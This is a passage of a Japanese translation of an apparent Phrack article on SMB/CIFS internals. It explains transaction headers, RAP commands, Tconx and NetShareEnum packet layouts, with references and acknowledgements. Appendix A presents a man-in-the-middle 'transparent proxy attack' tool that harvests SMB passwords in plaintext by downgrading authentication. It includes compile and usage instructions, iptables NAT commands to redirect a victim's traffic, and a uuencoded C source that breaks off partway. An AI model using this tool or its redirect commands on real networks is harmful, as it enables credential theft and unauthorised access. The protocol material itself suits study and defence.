SMB 基本ヘッダの先頭から、パラメータのバイトやデータのバイトへのオフセッ トは、「ParameterOffset」および「DataOffset」フィールドに格納される。 パラメータのバイトは、「Parameters」フィールドに格納される。 データのバイトは「Data」フィールドに格納される。 この「Parameters」と「Data」フィールドが RAP コマンドで用いられること を覚えておく必要がある。「Parameters」には RAP コマンドのパラメータを 示すバイトが含まれ、「Data」にはデータのバイトが含まれる。 「DataCount」と「ParameterCount」のフィールドは各々このトランザクショ ンパケットに含まれるデータのバイト数とパラメータのバイト数を示す。これ らのフィールドが「TotalParameterCount」や「TotalDataCount」に等しい場 合は、全てのパラメータおよびデータのバイトが単一のパケットに含まれてい る。そうでない場合、サーバ(リクエストの場合)かクライアント(レスポンス の場合)は、別のパケットを待ち受ける必要がある。全てのパケットが到達し た段階で、パラメータとデータは解析に回される。 「WordCount」フィールドをみてみよう。ここの値は 14(訳注: 10?) + 「SetupCount」の値になる。ほとんどの場合、SetupCount は 0 である。 トランザクションレスポンスヘッダ: リクエストとレスポンスのヘッダに、大きな差異はない。 UCHAR WordCount; Count of data bytes; value = 10 + "Setupcount" field. USHORT TotalParameterCount; Total parameter bytes being sent USHORT TotalDataCount; Total data bytes being sent USHORT Reserved; USHORT ParameterCount; Parameter bytes sent this buffer USHORT ParameterOffset; Offset (from header start) to Parameters USHORT ParameterDisplacement; Displacement of these Parameter bytes USHORT DataCount; Data bytes sent this buffer USHORT DataOffset; Offset (from header start) to data USHORT DataDisplacement; Displacement of these data bytes UCHAR SetupCount; Count of setup words UCHAR Reserved2; Reserved (pad above to word) USHORT Setup[SetupWordCount]; Setup words (# = SetupWordCount) USHORT ByteCount; Count of data bytes UCHAR Pad[]; Pad to SHORT or LONG UCHAR Parameter bytes (# = ParameterCount) Parameters[ParameterCount]; UCHAR Pad1[]; Pad to SHORT or LONG UCHAR Data[DataCount]; Data bytes (# = DataCount) クライアントはデータおよびパラメータの(SMB 基本ヘッダの先頭からの)バイ ト単位のオフセットを認識するために、「ParameterOffset」と「DataOffset」 を使う必要がある。 ----[ 7.2 - RAP コマンド RAP (Remote Administration Protocol) は SMB 版の RPC の実装である。 RAP リクエスト : |---------------------------| |TCP HDR | |---------------------------| |NETBIOS HDR | |---------------------------| |SMB BASE HDR | |---------------------------| |SMB TRANSACTION REQUEST HDR| |---------------------------| |RAP REQUEST PARAMETERS | |---------------------------| |RAP REQUEST DATAS | |---------------------------| RAP レスポンス : |---------------------------| |TCP HDR | |---------------------------| |NETBIOS HDR | |---------------------------| |SMB BASE HDR | |---------------------------| |SMB TRANSACTION REPLY HDR | |---------------------------| |RAP REPLY PARAMETERS | |---------------------------| |RAP REPLY DATAS | |---------------------------| RAP コマンドを用いる場合、トランザクションの(リクエストおよびレスポン ス)ヘッダの「Name」フィールドには常に「\PIPE\LANMAN」となる。 RAP コマンドの例を幾つか示す : -NETSHAREENUM : サーバ上の各共有リソースに関する情報を表示する。 -NETSERVERENUM2 : 指定されたドメインについて、指定されたタイプのコン ピュータの一覧すべてを表示する。 -NETSERVERGETINFO : 指定されたサーバに関する情報を取得する。 -NETSHAREGETINFO : 指定された共有リソースに関する情報を表示する。 -NETWKSTAUSERLOGON : SMB サーバ上でユーザをログオンさせる。 -NETWSTAUSERLOGOFF : 上記と同様だが、ユーザをログオフさせる。 -NETUSERGETINFO : 指定されたユーザに関する情報を取得する。 -NETWKSTAGETINFO : 指定されたコンピュータに関する情報を取得する。 -SAMOEMCHANGEPASSWORD : リモート SMB サーバ上の指定されたユーザのパス ワードを変更する。 わたしはこれらのコマンドの全てを説明するつもりはない。例として、(サー バ上で利用可能な共有リソースの一覧を表示する)コマンドを 1 つとりあげよう。 RAP コマンドについての詳細を知りたい場合は、 [2] を参照すること。 --[ 8 - RAP コマンドを用いて、サーバ上の利用可能な共有一覧を取得する ここでは、前章を補足する。ここでは、RAP コマンドの動作を例をあげて説明 したい。 付録 B で示したプログラムは、この章で説明したことを実装したものである。 これは「net view \\ServerIP」(DOS上)や「smbclient -L ServerIP -N」 (Linux 上)と同じ動きを行なう。このプログラムにより一見わからなそうな NetBIOS 名を確認することが可能になる。このソースを読みとくことで、SMB のネットワークプログラミングに関して、多くのことを知ることができるだろ う。 どのようにしてネットワーク上にある特定の SMB の情報を収集したか : この処理自体は簡単である。クライアントはサーバによって認証される必要が ある。クライアントは第 3 章で説明した方法で (パスワードなしで) 身元を 明らかにする。サーバがクライアントの身元を確認したら、(Sesssetupx レス ポンスの後で)クライアントはTconx リクエストを送信する。 Tconx とは「Tree CONnect and X」の意味である。 TconX リクエストは共有リソースにアクセスするためのリクエストに使われる。 ----[ 8.1 - Tconx パケット リクエストヘッダ TconX パケットは SMB 基本ヘッダ層に位置する (「Command」= 0x75)。 UCHAR WordCount; Count of parameter words = 4 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; 予約 (0 である必要がある) USHORT AndXOffset; 次のコマンドの WordCount へのオフセット USHORT Flags; 追加の情報 USHORT PasswordLength; Password[] の長さ、パスワード長 USHORT ByteCount; Count of data bytes; min = 3 UCHAR Password[]; パスワード STRING Path[]; サーバ名と共有名 STRING Service[]; サービス名 パスワードはセッションの確立を行なっている中で送信される。 パスワード長は 1 に設定され、パスワード文字列にはヌル値(0x00) が設定さ れる。 「Path」文字列にはクライアントが接続を希望するリソースの名前が格納され る。これには Unicode 形式(訳注: UNC 形式?)が用いられる。例えば、 「myserver」というサーバ上の「myshare」という共有に接続したい場合、 Path 文字列は「\\myserver\myshare」となる。 「Service」文字列には、要求されているリソースのタイプが格納される : 文字列 リソースのタイプ "A:" ディスク共有 "LPT1:" プリンタ "IPC" 名前つきパイプ "COMM" 通信デバイス "?????" 任意のタイプのデバイス 任意のタイプのデバイスを検索するには、「Service」フィールドに「?????」 という文字列を指定する必要がある。 Tconx リクエストをサーバに送信すると、サーバは TconX レスポンスで応答 する。ここでは RAP コマンドのトランザクションリクエストを示す(SMB 基本 ヘッダ中の) 「Tid」フィールドを確認する必要がある。ここで、利用可能な リソースの一覧を知りたいサーバに対して問い合わせを行なう。これを行なう のに利用する必要があるのが、RAP コマンドの「NetShareEnum」である。 ----[ 8.2 - RAP コマンド「NetShareEnum」に関する説明 : ここで説明する RAP コマンドは NetShareEnum である。 RAP コマンド「NetshareEnum」リクエスト : 受信したトランザクションリクエストヘッダの「Parameters」フィールド : NetShareEnum 機能を示す 16 ビットのコード : 0; パラメータ識別子となる文字列 : "WrLeh" 返却されるデータの識別子となる文字列 : "B13BWZ" 16 ビットの整数 0x01; 受信バッファのサイズを示す、16 ビットの整数 パラメータやデータの識別子となる文字列の動作はここで説明しきれないが、 これらの文字列はパラメータおよびデータのフォーマットとサイズを格納する ために使われている。各 RAP コマンド毎に、パラメータとデータの識別子と なる文字列が 1 つずつ定義されている。 これらの文字列に関する詳細を知りたい場合は、[2] を参照のこと。 このリクエストにはデータがないため、「DataCount」と「TotalDataCount」 フィールドは 0 に設定される。 |--------------------------------------------| | NetBIOS ヘッダ |---------> 4 bytes |--------------------------------------------| | SMB 基本ヘッダ |---------> 32 Bytes |--------------------------------------------| | SMB トランザクションリクエストヘッダ | |--------------------------------------------| トランザクションリクエストの「Parameters」フィールドには、受信された RAP リクエストのパラメータが格納される。 |--------------| | 0x0000 | ----------------------------------------> A |--------------|--------------|--------------| | W r | L e | h 0x00|-----------> B |--------------|--------------|--------------|-------| | B 1 | 3 B | W Z | 0x00 |---> C |--------------|--------------|--------------|-------| | 0x0001 | 0xffff |--------------------------> D |--------------|--------------| A : NetshareEmun の機能コード : 0x00 B : パラメータの識別子の文字列 C : データ識別子の文字列 D : 0x01 (定義済の値) と 0xffff (受信バッファの最大サイズ) サーバのレスポンスは以下の通り : 受信したトランザクションレスポンスヘッダの「Parameters」フィールド : 返却ステータスコードが格納された 16 ビットの整数ワード 成功(Success) 0 アクセス拒否(Access Denied) 5 ネットワークアクセスの拒否(Network Access Denied) 65 追加データ(More data) 234 サーバが起動していない(Server not started) 2114 トランザクションの設定が不正(Transaction configuration bad) 2141 16 ビットの「converted(訳注: converter?) word」はコメント文字列へのオ フセットを計算するために用いられる。 返却されたエントリ数 = SHARE_INFO 構造体(以下で説明)の数 を示す 16 ビッ トの整数 利用可能なエントリ数を示す 16 ビットの整数 トランザクションレスポンスヘッダの「Data」フィールドには幾つかの SHARE_INFO 構造体が含まれる。 利用可能な各共有リソースの情報が格納される SHARE_INFO 構造体は、以下 のように定義される : struct SHARE_INFO { char shi1_netname[13]; /* リソース名 */ char shi1_pad; /* ワード境界のパディング */ unsigned short shi1_type; /* 共有リソースのタイプを示すコード : 0 ディスクディレクトリツリー 1 印刷キュー 2 通信デバイス 3 IPC */ char *shi1_remark; /* このリソースに対する コメント */ } shi1_remark は文字列への 32 ビットのポインタである。この文字列には、 共有リソースに対するコメントが格納される。RAP レスポンスパラメータヘッ ダの先頭から、この文字列へのオフセットを知るためには、「converter word」から「shi1_remark」の下位 16 ビットを減算する必要がある。 ASCII アートで図示したものを以下に示す : |--------------------------------------------| | NetBIOS ヘッダ |------------> 4 bytes |--------------------------------------------| | SMB 基本ヘッダ |------------> 32 Bytes |--------------------------------------------| | SMB トランザクションレスポンスヘッダ | |--------------------------------------------| トランザクションレスポンスパケットの「Parameters」セクションの説明 (NetShareEnum レスポンスのパラメータ) : |--------------------------------------------| | ステータスコード |-------------> 2 bytes |--------------------------------------------| | converted(訳注: converter?) word |-------------> 2 bytes |--------------------------------------------| | 返却されたエントリ数 |-------------> 2 bytes |--------------------------------------------| | 利用可能なエントリ数 |-------------> 2 bytes |--------------------------------------------| トランザクションレスポンスのデータセクション(複数のリソースが利用可能 な場合は、幾つかの SHARE_INFO 構造体からなる) : |--------------------------------------------| | shi1_netname |-----------> 13 bytes |--------------------------------------------| | shi1_pad ワード境界へのパディング |-----------> 1 byte |--------------------------------------------| | サービスのタイプ |-----------> 2 bytes |--------------------------------------------| | コメント文字列へのポインタ |-----------> 4 bytes |--------------------------------------------| . 別の SHARE_INFO 構造体 . |--------------------------------------------| | コメント文字列 1 | |--------------------------------------------| | 別のコメント文字列 | |--------------------------------------------| --[ 9 - 最後に : わたしは、この文書により多くの情報を提供できることを願っている。 コメントや質問がある場合は、以下まで送って欲しい : --[ 10 - 参考資料 [1] "A common Internet File System (CIFS/1.0) Protocol Preliminary Draft", Paul J.Leach and Dilip C. Naik http://www.snia.org/tech_activities/CIFS/CIFS-TR-1p00_FINAL.pdf [2] "CIFS Remote Administration Protocol Preliminary Draft" Paul J.Leach and Dilip C. Naik http://us6.samba.org/samba/ftp/specs/cifsrap2.txt [3] RFC 1001 http://www.faqs.org/rfcs/rfc1001.html [4] RFC 1002 http://www.faqs.org/rfcs/rfc1002.html --[ 11 - 謝辞 Just a Merry Christmas to TearDrop, Frealek and "el Tonio". A big thank to TearDrop for all. Without him, nothing could be possible ! Take a look at , you will find a very good (and free) scanner !. Thanks to Mr D. (my network administrator !), for all the advices and the several Linux distribs. Thanks to the Chemical brothers for the inspirational music. Thanks to the phrack staff, for all their remarks and particulary about the transparent proxy attack. そして、この文書を読んでいるあなたに感謝したい ;). --[ 付録 A このプログラムにより、パスワードが暗号化されている筈の場合でも、ネット ワークから平文のパスワードを取得することを可能とする。このプログラムが 動作するには libinet (v 1.1) と libpcap が必要である。 これは 6.6 章で説明した透過型プロキシ攻撃のための実装である。 libnet : www.packetfactory.net libpcap : www.tcpdump.org このプログラムのコンパイルおよび実行には root 権限が必要である。 コンパイルは、以下のようにして行なうこと : "gcc SMBproxy.c -o SMBproxy -lnet -lpcap" 使い方は以下の通り : "SMBproxy -i インタフェース -c クライアントの IP アドレス -s サーバの IP アドレス -f your fake IP (what you want : 6.6.6.6 for example)" -l 待ち受けポート (デフォルト 1139) このプログラムは、Windows 2000/XP の機能をサポートするかどうかを尋ねて くるので注意すること。Windows 2000/XP においては、 NBT が無効になって いるかどうかに関わらず「y」を指定すること。 クライアントとサーバの IP アドレスを指定することで、このプログラムはク ライアントから SMB サーバへのコネクションを待ち受け、攻撃を開始し、パ スワードを取得してトラヒックをリダイレクトする。 偽造された IP パラメータが偽造された IP に関連付けられることで、欲しい ものが手にはいる! 攻撃者のマシンとサーバやクライアントとの間に(FTP や telnet などの)有効なコネクションが存在しないようにしておくこと。 待ち受けポートのデフォルトは 1139 である。 このプログラムはパスワードとユーザ名(存在している場合)を取得する。また セキュリティレベル(共有もしくはユーザ)も取得する。コネクションが成功し た場合は、その共有名と「password valid」のようなメッセージも出力する。 コネクションが失敗した場合は、(パスワードとユーザ名以外には)何も出力し ない。 このプログラムは、ネットワークでのバイト順など幾つかの技術的理由により、 Linux 上でコンパイルする必要がある。これはループバックインタフェースで 使うことはできない。 Windows 2000/XP の機能もサポートする。 以下は攻撃者のマシン上で実行する iptables/NAT コマンドである。 ポート 139 に入ってくるトラヒックをポート 1139 にリダイレクトする #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 139 -j REDIRECT --to-port 1139 192.168.1.3 はクライアントの IP アドレスである。 全てのトラヒックをリダイレクトする #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ポート 445 に入ってくるトラヒックをポート 1139 にリダイレクトする (NBT が無効になっている Windows 2000/XP の場合) #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 445 -j REDIRECT --to-port 1139 192.168.1.3 はクライアントの IP アドレスである。 6.8 章のダウングレードアタックを行ないたい場合は、ポート 1139 をクロー ズされたポートに置き換える。 トラヒックをリダイレクトする場合は、以下の行が /etc/sysconfig/network に存在している必要があることに注意 : FORWARD_IPV4=true このプログラムは Unicode 文字列をサポートしない。 Samba サーバ 2.0 で動作することを確認している。 begin 600 smb_MiM_proxy.c M+RHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*@T*("`@("`@("`@("`@("`@("`@ M("`@(%--0B!-04X@24X@5$A%($U)1$1,12!!5%1!0TL-"B`@("`@("`@("`@ M("`@("`@("`@("`@("`@("!#;V1E9"!B>2!L961I;@T*("`@("`@("`@("`@ M("`@("`@("`@("!L961I;D!E;F-E<&AA;&]N+7IE2`A M#0HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHO#0H-"B-I;F-L=61E(#QS=&1I M;RYH/@T*(VEN8VQU9&4@/'-T7,O=V%I="YH/@T* M(VEN8VQU9&4@/'-Y7,O7!E9&5F('-TPT*('5?:6YT.%]T(%1Y<&4["0DO M*G1Y<&4J+PD-"B!U7VEN=#A?="!&;&%G$9&+"=334(G M*B\-"B!U7VEN=#A?="!#;VUM86YD.PDO*D-O;6UA;F0@0V]D92HO#0H@=6YI M;VX@#0H@>PT*("!S=')U8W0-"B`@>PT*("`@=5]I;G0X7W0@17)R;W)#;&%S MPT*("!U7VEN=#A? M="!0861;,3)=.PT*("!S=')U8W0-"B`@>PT*("`@=5]I;G0X7W0@4&ED2&EG M:%LR73L)+RI(:6=H(%!A'1R83L-"B!U M7VEN=#A?="!4:61;,ET["2\J5')E92!)9&5N=&EF:65R*B\-"B!U7VEN=#A? M="!0:61;,ET["2\J0V%L;&5R)W,@<')O8V5SPT*('5?:6YT.%]T(%=O"!T6EN M9R!T:&ES('-E7-T96U4:6UE M3&]W6S1=.PDO*E-Y7-T96U4:6UE2&EG:%LT73L)+RI3>7-T96T@*%540RD@ M=&EM92!O9B!T:&4@4QE;F=T:#L)+RI,96YG=&@@;V8@ M96YC71E4AD2`H6"D@8V]M;6%N9"PP M>$9&(#T@;F]N92HO#0H@=5]I;G0X7W0@06YD6%)E&EM=6X@8G5F M9F5R('-I>F4J+PT*('5?:6YT.%]T($UA>$UP>$-O=6YT6S)=.PDO*F%C='5A M;"!M87AI;75N(&UU;'1I<&QE>&5D(')E<75E71E0V]U;G1; M,ET["2\J0V]U;G0@;V8@9&%T82!B>71E7!T*'5?8VAA2AC;VYS="!U;G-I9VYE9"!C:&%R("HL=6YS:6=N960@8VAA MF4@;V8@25`@861R97-S*B\-"B`@("`@("`@("`@("`@("`@ M("`@("`@($%24$]07U)%4$Q9+`T*("`@("`@("`@("`@("`@("`@("`@("`@ M16YE=$-L:65N="PO*F-L:65N="=S($U!0R!A9')E2!T:&4@8G5I;&1I;F<@;V8@=&AE(&5T:&5R;F5T(&AE861E7!E*B\-"@D)"0D@;"D[ M#0H-"@T*+RI7PT*(&QI8FYE=%]T("IL.PT*(&QI8FYE=%]P=&%G M7W0@5&%G.PT*(&-H87(@17)R0G5F6TQ)0DY%5%]%4E)"549?4TE:15T[#0H- M"B!S=')U8W0@<&-A<%]P:W1H9'(@2&5A9&5R.PT*#0H@=5]I;G0S,E]T($%R M<%-R8SL-"B!U7VEN=#,R7W0@07)P1'-T.PT*#0H@S!X M,"PP>#`L,'@P+#!X,"PP>#`L,'@P?3L@#0H@#0H@=5]C:&%R($)R;V%D8V%S M=%M%5$A?04Q%3ET@/2![,'AF9BPP>&9F+#!X9F8L,'AF9BPP>&9F+#!X9F9] M.PT*#0HO*DQI8FYE="!I;FET:6%L:7IA=&EO;BHO#0H-"B!L(#T@;&EB;F5T M7VEN:70H3$E"3D547TQ)3DLL1&5V:6-E+$5R2!T:&4@8G5I;&1I;F<@;V8@=&AE(&5T:&5R;F5T(&AE861E M7!E*B\- M"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(&PI.PT*#0H-"B\J M5W)I=&4@=&AE(%!A8VME="!W:7)E*B\-"@T*(&QI8FYE=%]WPT*("!086-K970@/2`H M=5]C:&%R("HI('!C87!?;F5X="A$97-CF5O M9BAU7VEN=#,R7W0I*3L-"B`@("!M96UC<'DH)D%R<$1S="P@*'5?:6YT,S)? M="`J*2`H07)P2&1R+3YAPT*#0H@("`@(&UE;6-P M>2@H=5]C:&%R("HI("A%;F5T1'-T*2P-"B`@("`@("`@("`@("AU7V-H87(@ M*BD@*$%R<$AD7)I9VAT("A#*2!!;F1R97<@5')I9&=E;&P@,3DY,BTQ M.3DX#0H@("!-;V1I9FEE9"!B>2!*97)E;7D@06QL:7-O;B`Q.3DU+@T*("`@ M#0H@("!4:&ES('!R;V=R86T@:7,@9G)E92!S;V9T=V%R93L@>6]U(&-A;B!R M961I0T*("`@:70@=6YD97(@=&AE M('1E6]U2!L871E71E(")C7!T*'5C:&%R("IP87-S=V0L('5C:&%R("IC."P@=6-H87(@*G`R-"D-"GL- M"B!U8VAAPT*('5C:&%R('`R,5LR,5T[#0H@#0H@#0H@#0H);65M2!O9@T*("`@34520TA!3E1!0DE,2519(&]R($9) M5$Y%4U,@1D]2($$@4$%25$E#54Q!4B!055)03U-%+B`@4V5E('1H90T*("`@ M1TY5($=E;F5R86P@4'5B;&EC($QI8V5N2!O9B!T M:&4@1TY5($=E;F5R86P@4'5B;&EC($QI8V5N6]U(&%R92!C;VYC M97)N960-"B`@(&%B;W5T('1H92!A<'!L:6-A8FEL:71Y(&]F($E405(@6]U#0H@("!S:&]U;&0@8V]N M9FER;2!I="!F;W(@>6]US4X+"`U M,"P@-#(L(#,T+"`R-BP@,3@L(#$P+"`@,BP-"@D)"38P+"`U,BP@-#0L(#,V M+"`R."P@,C`L(#$R+"`@-"P-"@D)"38R+"`U-"P@-#8L(#,X+"`S,"P@,C(L M(#$T+"`@-BP-"@D)"38T+"`U-BP@-#@L(#0P+"`S,BP@,C0L(#$V+"`@."P- M"@D)"34W+"`T.2P@-#$L(#,S+"`R-2P@,3R`@("`@(#$V+"`@-RP@,C`L(#(Q+`T*("`@("`@("`@("`@ M("`@("`@("`@("`@("`@("`@,CDL(#$R+"`R."P@,3S$L M(#$L(#(L(#(L(#(L(#(L(#(L(#(L(#$L(#(L(#(L(#(L(#(L(#(L(#(L(#%] M.PT*#0IS=&%T:6,@=6-H87(@%LX75LT75LQ-ET@/2![#0I[>S$T+"`@ M-"P@,3,L("`Q+"`@,BP@,34L(#$Q+"`@."P@(#,L(#$P+"`@-BP@,3(L("`U M+"`@.2P@(#`L("`W?2P-"B![,"P@,34L("`W+"`@-"P@,30L("`R+"`Q,RP@ M(#$L(#$P+"`@-BP@,3(L(#$Q+"`@.2P@(#4L("`S+"`@.'TL#0H@>S0L("`Q M+"`Q-"P@(#@L(#$S+"`@-BP@(#(L(#$Q+"`Q-2P@,3(L("`Y+"`@-RP@(#,L M(#$P+"`@-2P@(#!]+`T*('LQ-2P@,3(L("`X+"`@,BP@(#0L("`Y+"`@,2P@ M(#S$U M+"`@,2P@(#@L(#$T+"`@-BP@,3$L("`S+"`@-"P@(#DL("`W+"`@,BP@,3,L M(#$R+"`@,"P@(#4L(#$P?2P-"B![,RP@,3,L("`T+"`@-RP@,34L("`R+"`@ M."P@,30L(#$R+"`@,"P@(#$L(#$P+"`@-BP@(#DL(#$Q+"`@-7TL#0H@>S`L M(#$T+"`@-RP@,3$L(#$P+"`@-"P@,3,L("`Q+"`@-2P@(#@L(#$R+"`@-BP@ M(#DL("`S+"`@,BP@,35]+`T*('LQ,RP@(#@L(#$P+"`@,2P@(#,L(#$U+"`@ M-"P@(#(L(#$Q+"`@-BP@(#S$P+"`@,"P@(#DL(#$T+"`@-BP@(#,L(#$U+"`@-2P@(#$L(#$S+"`Q,BP@ M(#S$L(#$P+"`Q,RP@(#`L("`V+"`@ M.2P@(#@L("`W+"`@-"P@,34L(#$T+"`@,RP@,3$L("`U+"`@,BP@,3)]?2P- M"@T*>WLW+"`Q,RP@,30L("`S+"`@,"P@(#8L("`Y+"`Q,"P@(#$L("`R+"`@ M."P@(#4L(#$Q+"`Q,BP@(#0L(#$U?2P-"B![,3,L("`X+"`Q,2P@(#4L("`V M+"`Q-2P@(#`L("`S+"`@-"P@(#S,L(#$U+"`@,"P@(#8L(#$P M+"`@,2P@,3,L("`X+"`@.2P@(#0L("`U+"`Q,2P@,3(L("`W+"`@,BP@,31] M?2P-"@T*>WLR+"`Q,BP@(#0L("`Q+"`@-RP@,3`L(#$Q+"`@-BP@(#@L("`U M+"`@,RP@,34L(#$S+"`@,"P@,30L("`Y?2P-"B![,30L(#$Q+"`@,BP@,3(L M("`T+"`@-RP@,3,L("`Q+"`@-2P@(#`L(#$U+"`Q,"P@(#,L("`Y+"`@."P@ M(#9]+`T*('LT+"`@,BP@(#$L(#$Q+"`Q,"P@,3,L("`W+"`@."P@,34L("`Y M+"`Q,BP@(#4L("`V+"`@,RP@(#`L(#$T?2P-"B![,3$L("`X+"`Q,BP@(#WLQ,BP@(#$L(#$P+"`Q-2P@(#DL("`R+"`@-BP@(#@L("`P M+"`Q,RP@(#,L("`T+"`Q-"P@(#S$P+"`Q-2P@(#0L M("`R+"`@-RP@,3(L("`Y+"`@-2P@(#8L("`Q+"`Q,RP@,30L("`P+"`Q,2P@ M(#,L("`X?2P-"B![.2P@,30L(#$U+"`@-2P@(#(L("`X+"`Q,BP@(#,L("`W M+"`@,"P@(#0L(#$P+"`@,2P@,3,L(#$Q+"`@-GTL#0H@>S0L("`S+"`@,BP@ M,3(L("`Y+"`@-2P@,34L(#$P+"`Q,2P@,30L("`Q+"`@-RP@(#8L("`P+"`@ M."P@,3-]?2P-"@T*>WLT+"`Q,2P@(#(L(#$T+"`Q-2P@(#`L("`X+"`Q,RP@ M(#,L(#$R+"`@.2P@(#S$S+"`@,BP@(#@L("`T+"`@-BP@,34L(#$Q+"`@ M,2P@,3`L("`Y+"`@,RP@,30L("`U+"`@,"P@,3(L("`W?2P-"B![,2P@,34L M(#$S+"`@."P@,3`L("`S+"`@-RP@(#0L(#$R+"`@-2P@(#8L(#$Q+"`@,"P@ M,30L("`Y+"`@,GTL#0H@>S&]R*&-H87(@*F]U="P@8VAA(&EN,EMI73L-"GT-"@T*2P@<&5R;3$L M(#4V*3L-"@T*"69OPT*"0EL6VI=(#T@<&0Q6VI=.PT*"0ER M6VI=(#T@<&0Q6VHK,S)=.PT*"7T-"@T*"69O%MJ75MM75MN72`F M(`T*"0D)"0D)*#$\/"@S+6LI*2D_,3HP.R`-"@D)?0T*#0H)"69OPT*"0EK97E;:5T@/2`H:V5Y6VE=/#PQ*3L-"@E] M#0I]#0H-"@T*2AK97DL M(&ME>3(I.PT*#0H)9F]R("AI/3`[:3PV-#MI*RLI('L-"@D):6YB6VE=(#T@ M*&EN6VDO.%T@)B`H,3P\*#S!X-&(L(#!X M-#PT*(&QI8FYE=%]T("IL.PT*('-T2!T:&4@;F5G<')O="!R97!L>2HO#0H-"G9O:60@3F5G4')O=%)E<&QY M*'5?8VAA7!T:6]N2V5Y+`T*("`@("`@("`@("`@("`@("`@:6YT("I396-U2D-"GL-"B!.8G1397-S:6]N2&1R("I.8G1397-S:6]N.PT*(`T*(%-M8D)A M3L-"@T*+RI&;W(@=&AE(&1O;6%I;B!N86UE*B\-"@T*('5? M8VAA2T^4V5C=7)I='E-;V1E*2`F(#$[#0H-"B!I M9BA396-U2D-"B![#0H@('!R:6YT9B@B7&Y571E M0V]U;G1;,%TM#0H@("`@("`@("`@("`@("`@("`@($5.0U]+15E?3$5.1U1( M.PT*#0H@1&]M86EN3F%M92`]("AU7V-H87(@*BD@#0H@("`@("`@("`@("`@ M("AM86QL;V,H1&]M86EN3F%M94QE;F=T:"`J('-I>F5O9BAU7V-H87(I*2D[ M#0H-"B`O*D-O<'D@=&AE($1O;6%I;B!N86UE(&EN(&$@2A$;VUA:6Y.86UE+`T*("`@("`@("`H=5]C:&%R("HI(`T*("`@ M("`@("`H4&%C:V5T("L-"B`@("`@("`@('-I>F5O9BA.8G1397-S:6]N2&1R M*2`K#0H@("`@("`@("!S:7IE;V8H4VUB0F%S94AD4ADF5O9BA.8G1397-S:6]N2&1R M*2`K#0H@("`@("`@("`@("`@("`@("`@('-I>F5O9BA3;6)"87-E2&1R*2`K M#0H@("`@("`@("`@("`@("`@("`@('-I>F5O9BA3;6).96=0F5O9BA3;6).96=02T^0GET M94-O=6YT6S!=(#T@1&]M86EN3F%M94QE;F=T:#L-"@T*+RI4;R!M;V1I9GD@ M=&AE('-E8W5R:71Y(&UO9&4@8GET92!A;F0@=&AE(&5N8W)Y<'1I;VX@:V5Y M(&QE;F=T:"HO#0H@#0H@4VUB3F5G4')O=%)E<&QY+3Y396-U4UO9&4@ M/2`P>#`Q.PT*(%-M8DYE9U!R;W1297!L>2T^16YC4QE;F=T M:"`](#!X,#`[#0H-"B!.8G1397-S:6]N+3Y,96YG=&@@/2!H=&]NF5O9BA3;6).96=02P-"B`@("`@ M("`@("`@("`@("`@("`@:6YT(%-E8W5R:71Y*0T*>PT*($YB=%-E7!T961087-S=V]R9%M%3D-?4$%34U=/4D1?3$5.1U1(73L- M"B!I;G0@5&5M<%-I>F4[#0H@=5]C:&%R(%!AF5O9BA. M8G1397-S:6]N2&1R*2D[#0H)"0T*(%-M8E-E='5P6%)E<75EF5O9BA3;6)"87-E M2&1R*2D[#0H-"B!M96US970H4&%S2A087-S=V]R9"P-"B`@("`@("`@("AU7V-H87(@*BD@#0H@("`@ M("`@("`H4&%C:V5T("L-"B`@("`@("`@("!S:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@ M("`@('-I>F5O9BA3;6)3971U<%A297%U97-T2&1R*2DL#0H@("`@("`@("`@ M4VUB4V5T=7!84F5Q=65S="T^0V%S94EN2!L979E;"P@=V4@9&]N)W0@<')I;G0@=&AE#0H@("H@=7-EPT*("!P7!T*%!AF4@/2`H4VUB4V5T M=7!84F5Q=65S="T^0GET94-O=6YT6S!=("T-"B`@("`@("`@("`@("!3;6)3 M971U<%A297%U97-T+3Y#87-E26YS96YS:71I=F5087-S=V]R9$QE;F=T:%LP M72D[#0H@("`@("`-"B!496UP(#T@;6%L;&]C*%1E;7!3:7IE*G-I>F5O9BAU M7V-H87(I*3L-"@T*(&UE;6-P>2@H=5]C:&%R("HI*"!496UP*2P@#0H@("`@ M("`@("AU7V-H87(@*BD@#0H@("`@("`@("A086-K970@*R`-"B`@("`@("`@ M('-I>F5O9BA.8G1397-S:6]N2&1R*2`K#0H@("`@("`@("!S:7IE;V8H4VUB M0F%S94ADF5O9BA3;6)3971U<%A297%U97-T M2&1R*2`K#0H@("`@("`@("!3;6)3971U<%A297%U97-T+3Y#87-E26YS96YS M:71I=F5087-S=V]R9$QE;F=T:%LP72DL#0H@("`@("`@("!496UP4VEZ92D[ M#0H-"B!M96UC<'DH*'5?8VAAF5O9BA.8G1397-S:6]N2&1R*2`K#0H@("`@("`@("`@ M("`@("`@("`@('-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@("`@("`@ M("`@("`@('-I>F5O9BA3;6)3971U<%A297%U97-T2&1R*2DL#0H@("`@("`@ M("!%;F-R>7!T961087-S=V]R9"P-"B`@("`@("`@($5.0U]005-35T]21%], M14Y'5$@I.PT*#0H@;65M8W!Y*"AU7V-H87(@*BD@*%!A8VME="`K(`T*("`@ M("`@("`@("`@("`@("`@("!S:7IE;V8H3F)T4V5SF4I M.PT*("`@("`@#0H@4VUB4V5T=7!84F5Q=65S="T^0GET94-O=6YT6S!=(#T@ M5&5M<%-I>F4@*R`-"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M("!%3D-?4$%34U=/4D1?3$5.1U1(.PT*("`@("`@#0H-"B!3;6)3971U<%A2 M97%U97-T+3Y#87-E4V5N#`P M.PT*#0H@4VUB4V5T=7!84F5Q=65S="T^0V%S94EN5M%3D-?2T597TQ%3D=42%T[#0H@#0H@=5]C:&%R 